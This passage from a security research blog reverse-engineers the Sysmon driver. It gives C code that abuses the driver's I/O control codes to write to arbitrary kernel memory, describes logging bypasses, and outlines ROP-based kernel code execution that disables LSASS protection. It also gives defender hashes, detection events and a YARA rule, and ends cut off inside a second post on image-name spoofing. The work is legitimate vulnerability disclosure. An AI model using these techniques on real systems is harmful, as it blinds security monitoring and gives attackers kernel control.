archived. Using the subroutine that I have called <code>GetFileInfo</code>, Sysmon queries the state of the file for information such as the file&apos;s hash, the first byte, if the file is the same repeated byte (shredded), and if &quot;kernel crypto&quot; is supported - it should always be. In addition to this, <code>ArchiveFile</code> also queries for the available disk space. The target file will not be archived if any of the following is true:</p><ul><li>The file is shredded,</li><li>&quot;Kernel crypto&quot; is not supported,</li><li>The remaining disk space is less than 10 MB.</li></ul><p>If archiving is appropriate, it will call one of two functions. If the current IRP is <code>IRP_MJ_WRITE</code>, it will call the function I named <code>CopyFile</code>, else it will call the other I named <code>RenameFile</code>. The reason for why this happens is unknown to me. Both of these take the archive file name which is the file&apos;s hash (from <code>GetFileInfo</code>) and its extension (from <code>CheckAndQueueFileDeleteEvent</code>) that&apos;s generated by <code>ArchiveFile</code>.</p><h3 id="copyfile">CopyFile</h3><p>This function is pretty self explanatory and simple. The size of the file is queried and a buffer created with a max size of <code>0x10000</code>. The new archived file is created with <code>FltCreateFile</code> and chunks of the target file are copied over using <code>FltReadFile</code> and <code>FltWriteFile</code>. If, for some reason, the copy fails, Sysmon will report the error. The file delete event will be generated using <code>QueueFileDeleteEvent</code> specifying a <code>NULL</code> value for the tenth <code>IsArchived</code> parameter.</p><h3 id="renamefile">RenameFile</h3><p><code>ArchiveFile</code> will set this function as a delayed work item with which <code>KeWaitForSingleObject</code> is immediately called to trigger it. Unfortunately, I do not have an answer to this behaviour. Sysmon will simply rename the file from its original to the archived file name (replacing any existing file) before reporting the file delete event using <code>QueueFileDeleteEvent</code> specifying a <code>NULL</code> value for the tenth <code>IsArchived</code> parameter.</p><h1 id="bugs-and-bypasses">Bugs and Bypasses</h1><p>Throughout my research of Sysmon - and to my surprise - I uncovered a few bugs and bypasses. In this section, I&apos;ll detail the findings and example implementations of how they can be abused. A special thank you to <a href="https://twitter.com/SBousseaden">Samir</a> for verifying these bugs as well as providing constant motivation.</p><h2 id="file-shredding-bypass">File Shredding Bypass</h2><p>Now that we understand how Sysmon identifies shredding and that it can archive files on such events, we can easily bypass it. Since shredding is defined by repeated bytes that fill the size of the file or greater, the solution is trivial. Just simply modifying the data overwrite with alternating or random non-repeated bytes. Even overwriting everything with the same repeated byte except the final character - obviously cannot be the same byte as the overwrite - will suffice.</p><p>Given the abundance of permutations for overwriting data, it&apos;s safe to assume that it&apos;s virtually impossible for Sysmon to detect these alternate methods. While it may be useful, I question its practicality.</p><h2 id="file-delete-and-overwrite-bypass">File Delete and Overwrite Bypass</h2><p>Sysmon has a small issue that seems to originate in the update from version 11.0 to 11.10 with the introduction of the <code>CheckAndQueueFileDeleteEvent</code> conditional in the specific <code>FLAG_FILE_DELETE_ON_CLOSE</code> case. The <code>IoQueryFileDosDeviceName</code> function call in <code>CheckAndQueueFileDeleteEvent</code> is provided to the file delete event reported to <code>Sysmon64.exe</code> where it is checked against the filter. However, dynamic analysis reveals that the resulting file object name is always <code>C:</code>. This means that the filter match will always fail unless the target file name is something like</p><pre><code>&lt;TargetFilename condition=&quot;begin with&quot;&gt;C:&lt;/TargetFilename&gt;</code></pre><p>or</p><pre><code>&lt;FileDelete onmatch=&quot;exclude&quot;/&gt;</code></pre><p>For some unknown reason, the following rule does not seem to capture the file delete event with <code>FLAG_FILE_DELETE_ON_CLOSE</code>:</p><pre><code>&lt;TargetFilename condition=&quot;is&quot;&gt;C:&lt;/TargetFilename&gt;</code></pre><p>In addition to file deletes, this also works in the case of file overwrites with the <code>FLAG_FILE_DELETE_ON_CLOSE</code> option. Since Sysmon has precedence for this flag, targeting already existing files will never trigger the code that is supposed to perform the file overwrite check. The result is that the file archiving for overwritten files is never logged.</p><p>To demonstrate this, <code>del</code> on the command prompt deletes a file using the <code>FLAG_FILE_DELETE_ON_CLOSE</code> option. In the following image, the file creation is logged however, the file delete event isn&apos;t.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-19.png" class="kg-image" alt loading="lazy"><figcaption>Sysmon failing to log <code>FLAG_FILE_DELETE_ON_CLOSE</code> file deletes</figcaption></figure><h2 id="arbitrary-kernel-write">Arbitrary Kernel Write</h2><p>I mentioned earlier that the Sysmon driver returns data to its service process to determine if a file delete event should be logged. The service process communicates back a boolean value to the driver which is written to a stack address. However, both the boolean value and the target stack address is controlled by the service process which effectively means that there is a write-what-where primitive from usermode.</p><h3 id="service-process-registration">Service Process Registration</h3><p>To abuse this, we need to take over <code>Sysmon64.exe</code> and register our own from the perspective of the driver. To connect to a driver, usually a call to <code>CreateFile</code> is made with the path specifying the symbolic link to its device object. In this case, Sysmon&apos;s driver&apos;s device name is <code>\\.\SysmonDrv</code>. </p><figure class="kg-card kg-code-card"><pre><code class="language-c">HANDLE Device = CreateFile(
	L&quot;\\\\.\\SysmonDrv&quot;,
	GENERIC_WRITE | GENERIC_READ,
	0,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL,
	NULL
);</code></pre><figcaption><code>CreateFile</code> to open a handle to the Sysmon device</figcaption></figure><p>This results in the <code>IRP_MJ_CREATE</code> request being sent to the driver which is handled in its driver dispatch routine registered for the <code>IRP_MJ_CREATE</code> IRP. On examination of this code, it performs a privilege check on the requesting process to see if it has <code>PRIVILEGE_SET_ALL_NECESSARY</code> which effectively means we require debug privileges.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-21.png" class="kg-image" alt loading="lazy"><figcaption>Opening handle to Sysmon&apos;s device requires debug privileges</figcaption></figure><p>Once a handle to the device is opened, the next step is to register the process with Sysmon. This means that Sysmon must set its global service process to that of our process. Sysmon supports the <code>0x83400000</code> I/O control code that&apos;s handled by the driver dispatch under the <code>IRP_MJ_DEVICE_CONTROL</code> request which can be made via the <code>DeviceIoControl</code> function using the handle to the device. &#xA0;If we follow this control code in the function I labelled <code>DriverDispatchDeviceControl</code>, there is a length check for the input and output buffers.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-22.png" class="kg-image" alt loading="lazy"><figcaption>Input and output buffer length checks</figcaption></figure><p>The input buffer size can be either 0 or 4 but the output buffer size must be 4. If the input buffer exists, it is checked against the value <code>1111</code> (<code>0x457</code>) - this seems to be the version of Sysmon, in this case, it is v11.11, in Sysmon v12.0, it is <code>1200</code>. If the input value is incorrect, it will return with the <code>STATUS_REVISION_MISMATCH</code> error and fail the registration. If the input buffer is not supplied, it will ignore the revision check so providing the input buffer is optional. The output buffer will always return the version. </p><figure class="kg-card kg-code-card"><pre><code class="language-c">DeviceIoControl(
	Device,
	0x83400000,
	NULL,	// Optionally a DWORD buffer = 1111.
	0,
	&amp;OutputBuffer,
	sizeof(OutputBuffer),
	&amp;BytesReturned,
	NULL
);</code></pre><figcaption><code>DeviceIoControl</code> to register as a service process</figcaption></figure><p>Once this requirement has been fulfilled, the driver will register the requesting process as the service process. in its <code>g_ServiceProcessHandle</code> variable.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-24.png" class="kg-image" alt loading="lazy"><figcaption>Sysmon driver registering a service process</figcaption></figure><p>The driver does not contain any other mechanisms like certificate checks to verify the service process so any executable is compatible.</p><h3 id="reading-events">Reading Events</h3><p>To abuse the write, we need to be able to read the file delete events reported by the driver to obtain valid <code>Event</code> and <code>ServiceProcessHandle</code> values. As aforementioned, the driver supports another I/O control code, <code>0x83400004</code>, which reads events from the <code>g_EventReportList</code> queue. The only requirement here is that the output buffer needs to be able to fit the size of the event. To be able to support all of the events, we can either dynamically resize the buffer with the returned size or we can simply allocate a buffer with the maximum event size (40000 from the <code>QueueEvent</code> function).</p><figure class="kg-card kg-code-card"><pre><code class="language-c">EventData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 40000 );
//
// Read events.
//
DeviceIoControl(
	Device,
	0x83400004,
	NULL,
	0,
	EventData,
	40000 ,
	&amp;BytesReturned,
	NULL
);</code></pre><figcaption>Allocation and reading events from the Sysmon driver</figcaption></figure><p>We can use <code>DeviceIoControl</code> again with the handle to the Sysmon device. The output buffer will return the details of all queued events so we will have to differentiate them by their ID - this is the first member of the event structure. We are only interested in file delete events so we need to filter for <code>0xF0000000</code>. The last check is if the event data contains a valid <code>Event</code> member (as checked by <code>Sysmon64.exe</code> so we will follow its convention).</p><p>Once all of the conditions have been fulfilled, we can finally send a request back to the driver to perform the write using the <code>0x83400010</code> I/O control code. The <code>IsArchivedAddress</code> member points to where the single <code>IsArchived</code> byte will be written. The <code>Event</code> and <code>ServiceProcessHandle</code> members will just be copied from the delete event that was read earlier.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">if (((PEVENT_HEADER)EventData)-&gt;Id == 0xF0000000) {
	FileDeleteEvent = (PFILE_DELETE_EVENT)EventData;
	//
	// Check if Event is valid.
	//
	if (FileDeleteEvent-&gt;Event) {
		ZeroMemory(&amp;ArchivedInfo, sizeof(SET_ARCHIVED_INFO));

		//
		// Initialise struct to write to kernel.
		//
		ArchivedInfo.Event = FileDeleteEvent-&gt;Event;
		//
		// Should be this process.
		//
		ArchivedInfo.ProcessHandle = FileDeleteEvent-&gt;ServiceProcessHandle;
		//
		// Set target address to write byte.
		//
		ArchivedInfo.IsArchivedAddress = (PBYTE)(0xDEADBEEFDEADBEEF);
		//
		// Set byte to write.
		//
		ArchivedInfo.IsArchived = 0x42;

		//
		// Send to driver.
		//
		DeviceIoControl(
			Device,
			0x83400010,
			&amp;ArchivedInfo,
			sizeof(SET_ARCHIVED_INFO),
			NULL,
			0,
			NULL,
			NULL
		);
	}
}</code></pre><figcaption>Requesting <code>SysmonDrv.sys</code> to write a single byte to an arbitrary kernel address</figcaption></figure><p>It should be noted that there may be some queued events that contain a <code>ServiceProcessHandle</code> from <code>Sysmon64.exe</code> so it may take a few event reads to remove those from the queue before newer events start to contain our process&apos;s.</p><p>The result of the above example code is a bug check for writing to an invalid address.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-25.png" class="kg-image" alt loading="lazy"><figcaption>BSOD from <code>SysmonDrv.sys</code> on kernel write at an arbitrary address</figcaption></figure><h2 id="arbitrary-kernel-write-to-kernel-code-execution">Arbitrary Kernel Write to Kernel Code Execution</h2><p>To be able to execute code through Sysmon requires a few stars to align, some luck, and some hacks. We&apos;ll go over what we can do with an arbitrary kernel write, what issues we have to solve, what is available to us from Sysmon, and finally, how to combine everything together to create a solution that allows us to inject and execute code.</p><h3 id="what-we-have">What We Have</h3><p>Arbitrary kernel writes allow us to write a ROP chain into the stack, bypassing any stack cookie mitigations that might be present. This effectively allows us to gain control over the execution of code. But since the kernel is a volatile space with regards to unhandled exceptions, if we overwite too much of a target stack, we may end up destroying any critical data and potentially end up crashing the system. To be able to restore normal code execution, the solution I have come up with is to perform a stack pivot to another writable section in kernel and write the ROP chain there.</p><p>Now that there is execution control, where can the stack pivot and the other gadgets be written reliably and safely to guarantee that they are all there before execution? We can guarantee the gadgets if they are written somewhere that isn&apos;t touched such as a data section cave. For the stack pivot, we don&apos;t want to have the target function finish before it&apos;s written.</p><p>Since we want to inject and execute code, we can first start off with allocating a pool that has RWX permissions for writing and then executing the code. Windows allows allocation of a <code>NonPagedPool</code> (we want the page to always be available for code execution) through the <code>ExAllocatePoolWithTag</code> function which contains the permissions we need. This also benefits us by reducing the complexity of needing to reprotect the code section. This is relatively easy to achieve and the ROP chain would look something like so:</p><figure class="kg-card kg-code-card"><pre><code>pop rcx; ret
NonPagedPool
pop rdx; ret
Code size
pop r8; ret
Tag
ExAllocatePoolWithTag</code></pre><figcaption>ROP chain to allocate RWX pool</figcaption></figure><p>Injecting code into the pool is trivial but this is useless if we can&apos;t read the address of the pool. And how do we get the address of <code>ExAllocatePoolWithTag</code>? If we can somehow read the pool address and inject code, how can we execute the code?</p><h3 id="problem-solving">Problem Solving</h3><p>We have the basic requirements for getting code execution but some issues stand in the way. To summarise:</p><ol><li>How do we reliably and safely write the stack pivot to control execution?</li><li>How do we get the address of <code>ExAllocatePoolWithTag</code>?</li><li>Once we allocate the pool, how do we read it back in usermode?</li><li>After the code is written into the pool, how can we execute it?</li></ol><p>Starting with the first problem, we can abuse the thread blocking done in the <code>QueueFileDeleteEvent</code> used to wait for the reply from the service returning the boolean value to determine whether a target file should be archived. This provides both reliability and safety of writing the stack pivot gadget. But we can only write a single byte before the event is signalled, continuing execution of <code>QueueFileDeleteEvent</code>. This means we cannot write the eight bytes needed to pivot the stack. To verify this assumption, I had a look into the <code>KeSetEevent</code> function that is called after the single byte write.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-26.png" class="kg-image" alt loading="lazy"><figcaption>Early return from <code>KeSetEvent</code></figcaption></figure><p>Looking at the disassembly, there is actually an early return that doesn&apos;t seem to do anything that would affect the state of the kernel as there are only reads and comparisons. So we have hope of writing more bytes before unblocking <code>QueueFileDeleteEvent</code>. If we set the pointer of the <code>Event</code> member to an address that contains the byte array <code>00 00 00 00 01 00 00 00</code>, the first two checks will turn towards the early return. Since <code>KeSetEvent</code> is always called with a <code>FALSE</code> third argument, <code>dil</code> will always be 0. </p><p>This can be further abused to write multiple bytes in quick succession because we don&apos;t need to wait for more delete events to provide valid <code>Event</code> addresses. The first delete event&apos;s <code>Event</code> value can be stored until the stack pivot and other gadgets have been written. The saved <code>Event</code> can be passed to unblock <code>QueueFileDeleteEvent</code> and execute the ROP on demand.</p><p>We now have the requirements to bypass the thread unblocking to write more than a single byte. But how do we find these values in <code>ntoskrnl.exe</code> with ASLR?</p><p>To solve the problem of ASLR and finding the address of <code>ExAllocatePoolWithTag</code>, Windows provides the <code>EnumDeviceDrivers</code> function which returns an array of the current base addresses of all drivers loaded into the kernel. The following code snippet demonstrates how this can be done.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">PVOID
GetDriverBase(
	_In_ PCWSTR DriverName
)
{
	ULONG ReturnLength = 0;
	PVOID Drivers[1024];
	WCHAR DriverNames[MAX_PATH];

	ZeroMemory(Drivers, sizeof(Drivers));

	if (!EnumDeviceDrivers(Drivers, sizeof(Drivers), &amp;ReturnLength)) {
		PRINT_ERROR(&quot;EnumDeviceDrivers failed: %u\n&quot;, GetLastError());
		return NULL;
	}

	for (SIZE_T i = 0; i &lt; ReturnLength / sizeof(Drivers[0]); i++) {
		ZeroMemory(DriverNames, sizeof(DriverNames));

		if (GetDeviceDriverBaseName(Drivers[i], DriverNames, ARRAYSIZE(DriverNames))) {
			if (StrStrI(DriverNames, DriverName)) {
				return Drivers[i];
			}
		}
	}

	return NULL;
}</code></pre><figcaption>Example code to get the kernel base address of a driver</figcaption></figure><p>To get offsets of a driver, <code>LoadLibrary</code> can be used to load them into the usermode process. Subtracting the base of the user-loaded module and then adding the kernel base address from <code>EnumDeviceDrivers</code>, we can calculate the correct kernel addresses.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">PVOID
GetNtProc(
	_In_ PCSTR ProcName
)
{
	PVOID Proc = NULL;
	HMODULE NtBaseLib = NULL;
	PVOID ProcAddress = NULL;

	NtBaseLib = LoadLibrary(L&quot;ntoskrnl.exe&quot;);
	if (!NtBaseLib) {
		return NULL;
	}

	Proc = GetProcAddress(NtBaseLib, ProcName);
	if (!Proc) {
		FreeLibrary(NtBaseLib);
		return NULL;
	}

	ProcAddress = (PVOID)((ULONG_PTR)GetDriverBase(L&quot;ntoskrnl.exe&quot;) + (ULONG_PTR)Proc - (ULONG_PTR)NtBaseLib);

	FreeLibrary(NtBaseLib);

	return ProcAddress;
}</code></pre><figcaption>Example code to get the kernel address of a function in <code>ntoskrnl.exe</code></figcaption></figure><p>The next problem is reading the allocated pool. Sysmon provides only <em>one</em> way of providing controllable data back to usermode and that is through event reporting. We can abuse this by writing the pool address to an event and then read it in the usermode process. The first thing I tried to do was to ROP into the <code>QueueEvent</code> using a custom event passed into <code>rcx</code> however, there were two issues. Calling <code>QueueEvent</code> will trigger a path that will call <code>ExFreePool</code> which will eventually cause a bug check with a stack issue. The reason for this is unknown to me but I could not get it to work. The alternative to this is to skip the beginning of the function and ROP into the code that queues the new event. Unfortunately, acquiring the mutex to manipulate <code>g_EventReportList</code> throws another bug check so this route won&apos;t work either.</p><p>To force this to work, a hack was needed. Since accessing <code>g_EventReportList</code> through <code>QueueEvent</code> was not feasible, directly accessing the event queue would still work but with some small issues: an event must already be queued and it must not be removed. Since a process does not need to be required to be &quot;registered&quot; by the driver to read events, <code>Sysmon64.exe</code> can still pull them from <code>g_EventReportList</code> despite our own process already interacting with the driver. To combat this, we can simply suspend the threads of <code>Sysmon64.exe</code>. If an event is not queued and the write of the pool address is attempted, the system will bug check with a corrupted list error. Because of this hack, it can be a point of failure.</p><p>Because we are writing to an existing event, we need to choose a member to overwrite. Sysmon events are usually formatted with a four-member header. Here&apos;s what the file delete event looks like as an example:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">typedef struct _FILE_DELETE_EVENT {
	/*   0 */ ULONG Id;          // 0xF0000000 for file delete.
	/*   4 */ ULONG Size;        // Struct size.
	/*   8 */ PVOID Unk1;
	/*  10 */ PVOID Unk2;
	// Omitted for brevity
} FILE_DELETE_EVENT, *PFILE_DELETE_EVENT;</code></pre><figcaption>Event header members for Sysmon events</figcaption></figure><p>In all events that isn&apos;t the report event type, <code>Unk1</code> and <code>Unk2</code> are always 0. If we place them here, it can easily be determined if the pool was written or not simply by checking for a value. The usermode process can now read the allocated pool through the event list.</p><p>Injecting code into the pool is trivial. The data can be written quickly using the <code>KeSetEvent</code> bypass. The final problem we need solved is how the code is executed. The first few solutions involved spawning a thread using functions like <code>PsCreateSystemThread</code>, <code>IoCreateSystemThread</code>, <code>IoQueueWorkItem</code>, <code>ExQueueWorkItem</code>, and <code>IoCreateDriver</code> however, these all end up as bug checks either caused directly by the function or as a side effect from calling <code>ExFreePool</code>. No matter, we have an arbitrary write so we can simply take advantage of Sysmon&apos;s use of dynamic function resolutions to call our code. For example, Sysmon dynamically resolves <code>ZwOpenProcessTokenEx</code> and so we can just overwrite the value in the data section to point to our code&apos;s entry point. Luckily for us, Sysmon does not use Control Flow Guard.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-27.png" class="kg-image" alt loading="lazy"><figcaption><code>SysmonDrv</code> using dynamically resolved <code>ZwOpenProcessTokenEx</code></figcaption></figure><p>Again, we need to handle the return safely so that restoration can be done to stop the kernel from panicking. We can simply return an erroneous <code>NTSTATUS</code> value or we can jump to <code>ZwOpenProcessTokenEx</code> from the shellcode after it finishes.</p><p>This concludes the issues that we had. We were able to transform a write-what-where primitive combined with a read provided by Sysmon allowing us to inject arbitrary data into the kernel. From there, we took advantage of dynamic function resolution to execute our code. It should be noted that if stack pivoting is used, there is a chance that the kernel may bug check on an invalid stack pointer location. It can be increased each time the pool fails to be read and requires more attempts.</p><h3 id="demonstration">Demonstration</h3><p>As a proof-of-concept, I&apos;ve developed some shellcode that disables LSASS PPL:</p><!--kg-card-begin: html--><iframe width="640" height="360" frameborder="0" src="https://mega.nz/embed/h8FmGDrY#kInVJtXYY5kMj6Rk3aqNHsAHYPIYZuSdyVsxeXeJ7CA" allowfullscreen></iframe>
<!--kg-card-end: html--><h1 id="notes-for-defenders">Notes for Defenders</h1><p>This section was written by <a href="https://twitter.com/SBousseaden">Samir</a> with advice for defenders.</p><p>With the BYOV (Bring Your Own Vulnerability) option an attacker with the need to execute code or evade some kernel mode protection can leverage this technique and install a vulnerable Sysmon driver version. Thus it&#x2019;s recommended to prevent the installation of those versions (as of writing this, versions before Sysmon v11.00 are not impacted). </p><p><strong>Hashes of Impacted SysmonDrv versions:</strong></p><figure class="kg-card kg-code-card"><pre><code>35c67ac6cb0ade768ccf11999b9aaf016ab9ae92fb51865d73ec1f7907709dca
d2ed01cce3e7502b1dd8be35abf95e6e8613c5733ee66e749b972542495743b8
a86e063ac5214ebb7e691506a9f877d12b7958e071ecbae0f0723ae24e273a73
c0640d0d9260689b1c6c63a60799e0c8e272067dcf86847c882980913694543a
2a5e73343a38e7b70a04f1b46e9a2dde7ca85f38a4fb2e51e92f252dad7034d4
98660006f0e923030c5c5c8187ad2fe1500f59d32fa4d3286da50709271d0d7f
7e1d7cfe0bdf5f17def755ae668c780dedb027164788b4bb246613e716688840</code></pre><figcaption>Hashes for versions of <code>SysmonDrv.sys</code></figcaption></figure><p>Although detection of these kind of techniques is hard (using Sysmon itself or Windows native logging), below is a listing of some suspicious key events prior to the exploitation completion.</p><p><strong>Suspicious process attempting to access the Sysmon Service:</strong> note the <code>PROCESS_SUSPEND_RESUME</code> (<code>0x0800</code>) requested access (excludes generic access rights and alerts on sensitive ones).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://lh6.googleusercontent.com/2gPBxXbmXm1xdILQOPDFYLB_6nrWl4pz2f4Rjsnc9ZHJnVe2OqUkjQWj9CcIZULgFPCcoiUgkay-fsc4KzbKuVQLx02QBLbuNmwf8CXmNjhXWbTEEJZjXgY0ja1YYxMVkA" class="kg-image" alt loading="lazy"><figcaption>Process Access event targeting <code>Sysmon64.exe</code></figcaption></figure><p><strong>Suspicious Process loading NT OS Kernel</strong> (should be rare and limited to the System virtual process):</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://lh5.googleusercontent.com/HmKpSQ24ACRCAFmGVXrsgxMgoPgLCOWCWcc0l8pRot6eu0XMSi4NqWW2T-Q8vkssXuLcHtMOb-SwXcYfCJwOReSHYM5ts-IwsCQOdNgxrFs_7TykJAK7m502Gl2pzLKuIQ" class="kg-image" alt loading="lazy"><figcaption>Image Load event with <code>ntoskrnl.exe</code></figcaption></figure><h3 id="yara-signature">YARA Signature</h3><pre><code>rule Sysmon_KExec_KPPL {
meta:
 date = &quot;30-09-2020&quot;
 author = &quot;SBousseaden&quot;
 description = &quot;hunt for possible injection with Instrumentation Callback PE&quot;
 reference = &quot;https://undev.ninja/p/9af8ac08-4879-4d87-a92b-ff4abc778908/&quot;
strings:
 $sc1 = {90 51 B9 00 48 8D 0D DB 1F 00 00 44 89 7C 24 48 41 8B F7 4C 89 BD F0 01} 
 $sc2 = {65 C7 85 B8 01 00 00 48 8B 04 25} 
 $sc3 = {C7 85 BC 01 00 00 88 01 00 00 C7 85 C0 01 00}
 $sc4 = {DC 01 00 00 EA C6 80 ?? C7 85 E0 01 00 00 ?? 00 00 00 48}
 $sc5 = {C7 85 E4 01 00 00 48 B8 00 00 C7 85 EC 01 00 00 00 00 48 B9} 
 $sc6 = {48 89 01 59 66 C7 85 FC 01 00 00 FF E0}
 $sc7 = {65 48 8B 04 ?? ?? ?? 25 88 01 00}
 $sc8 = {48 8B 04 25 C7 85 4C 02 00 00 88 01}
 $sc9 = {48 89 01 59 66 C7}
 $ioc1 = {30 45 33 C9 C7 44 24 28 B8 FC 03 00 45 33 C0 BA 04 00 40 83 48 89 5C 24 20 48 8B}
 $ioc2 = {4C 89 74 24 30 BA 10 00 40 83 44 89 74 24 28 48 8B CE 4C 89}
 $sdrv1 = &quot;SysmonDrv&quot; wide
 $sdrv2 = &quot;SysmonDrv&quot;
condition: uint16(0) == 0x5a4d and 1 of ($sdrv*) and (2 of ($sc*) or 1 of ($ioc*))
}</code></pre><h1 id="conclusion">Conclusion</h1><p>This marks the end of the article. The file delete functionality was documented to the best of my ability and hopefully it is useful to someone. It would be great if someone more knowledgable could explain some of the things I couldn&apos;t.</p><p>Along with the internals, I think the bonus kernel code execution in <code>SysmonDrv</code> is pretty hilarious and ironic, repurposing Microsoft&apos;s own product that was built as a defensive tool for offensive and malicious intent. Ultimately, it does require administrative privileges to be abused and so it isn&apos;t a crtitical issue from a purely technical perspective (administrator to kernel isn&apos;t a security boundary!). However, because it is a Microsoft product and it&apos;s used as a trusted, core defensive component that&apos;s widely deployed, I personally feel like the impact is much greater. Having an issue like this in a security product may damage the reputation of Microsoft in some eyes. But as the product begins to pick up more functionality and increase in complexity, it&apos;s inevitable that security issues will be introduced. Microsoft should perform more internal testing for potential security issues and other bugs in future releases.</p><p>Anwyay, I hope that this can benefit and serve others more than it does to me, and that the reliability and capability of it can be improved (apologies for my amateur skill in exploit development). As always, my code can be found on my GitHub: <a href="https://github.com/NtRaiseHardError/Sysmon">https://github.com/NtRaiseHardError/Sysmon</a></p>]]></content:encoded></item><item><title><![CDATA[Sysmon Image File Name Evasion]]></title><description><![CDATA[Abusing a bug in Sysmon's driver to fake source processes' image file names.]]></description><link>https://undev.ninja/sysmon-image-file-name-evasion/</link><guid isPermaLink="false">5ee89d269a075b04b60d5951</guid><category><![CDATA[anti-forensics]]></category><category><![CDATA[offense]]></category><dc:creator><![CDATA[NtRaiseHardError]]></dc:creator><pubDate>Wed, 17 Jun 2020 13:48:41 GMT</pubDate><content:encoded><![CDATA[<p>One of my side projects for understanding the Windows kernel and driver development includes research into the Sysmon driver. After having read some weird methods of how other drivers access processes&apos; image file names on Twitter and in <a href="https://twitter.com/BillDemirkapi">Bill Demirkapi</a>&apos;s <em><a href="https://billdemirkapi.me/How-to-use-Trend-Micro-Rootkit-Remover-to-Install-a-Rootkit/">How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit</a></em> blog post, I decided I should investigate further into what Sysmon did too. And so, the result is this post which looks at how Sysmon does it and what it does is mind-boggling. As for the <em>how</em>, I hope someone else can provide that for me!</p><p>Software versions and testing environments:</p><ul><li>SysmonDrv version 11.0</li><li>SysmonDrv version 10.42</li><li>Windows 10 x64 version 2004</li></ul><h2 id="discovery">Discovery</h2><p>My research into the Sysmon driver begins at version 10.42 (just a <em>little</em> bit outdated). I was trying to look into how Sysmon handles process access events in the <code>ObRegisterCallbacks</code>&apos; post operation routine. This eventually led me to the function - that I will name <code>GetProcessInfo</code> - which is called in the event that a process has been detected to access another process:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-6.png" class="kg-image" alt loading="lazy"><figcaption><code>GetProcessInfo</code> to query the source process&apos; image name</figcaption></figure><p>The blue arrow points to a call to <code>ZwQueryInformationProcess</code> with the <code>ProcessBasicInformation</code> value to retreive a <code>PROCESS_BASIC_INFORMATION</code> structure:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;</code></pre><figcaption><code>PROCESS_BASIC_INFORMATION</code> structure</figcaption></figure><p>At offset +8 (<code>rbp-11h</code>) in the <code>ProcessInformation</code> return value parameter (<code>rbp-19h</code>) lies the <code>PebBaseAddress</code> member which points to the Process Environment Block (PEB). This is passed into the <code>GetProcessInfo</code> function along with three other <code>UNICODE_STRING</code> values that indicate the source process&apos; image file name, current directory, and command line. The last two strings are <code>NULL</code> so they do not return any value.</p><p>Inside the <code>GetProcessInfo</code> function, the driver attaches to the source process and reads the PEB:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-8.png" class="kg-image" alt loading="lazy"><figcaption>Reading and copying the process&apos; PEB structure</figcaption></figure><p>In the blue, the <code>rbx</code> register gets set to the <code>PebBaseAddress</code> value and then it is read from using <code>ProbeForRead</code> and what looks to be an optimised <code>RtlCopyMemory</code>. Next, it will read and copy the <code>ProcessParameters</code> member from the PEB structure:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-12.png" class="kg-image" alt loading="lazy"><figcaption>Reading and copying the process&apos; PEB&apos;s <code>ProcessParameters</code> member</figcaption></figure><p>After this, it calls an internal function that I&apos;ve named <code>GetProcessParameterString</code> which takes both the recently read PEB and its <code>ProcessParameters</code> member. This specific call shown here also retrieves the <code>ProcessParameters</code>&apos; <code>ImagePathName</code> member:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-11.png" class="kg-image" alt loading="lazy"><figcaption>Retrieves <code>ImagePathName</code> from the PEB&apos;s <code>ProcessParameters</code>.</figcaption></figure><p>Within <code>GetProcessParameterString</code>, it performs the same <code>ProbeForRead</code> functionality as before:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-14.png" class="kg-image" alt loading="lazy"><figcaption><code>GetProcessParameterString</code> reads and copies <code>ProcessParameters</code> members</figcaption></figure><p>Returning back to the function that called <code>GetProcessInfo</code>, we can see that the <code>CurrentProcessImageFileName</code> variable is copied into the event data structure to be logged:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-17.png" class="kg-image" alt loading="lazy"><figcaption>Copying source image process name into event structure for logging</figcaption></figure><h2 id="poc">POC</h2><p>The PoC is as simple as:</p><pre><code class="language-c">PPEB Peb = (PPEB)__readgsqword(0x60);
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = Peb-&gt;ProcessParameters;
UNICODE_STRING FakeImagePathName = { 
    0x8, 0x8,
    L&quot;Test&quot;
};
    
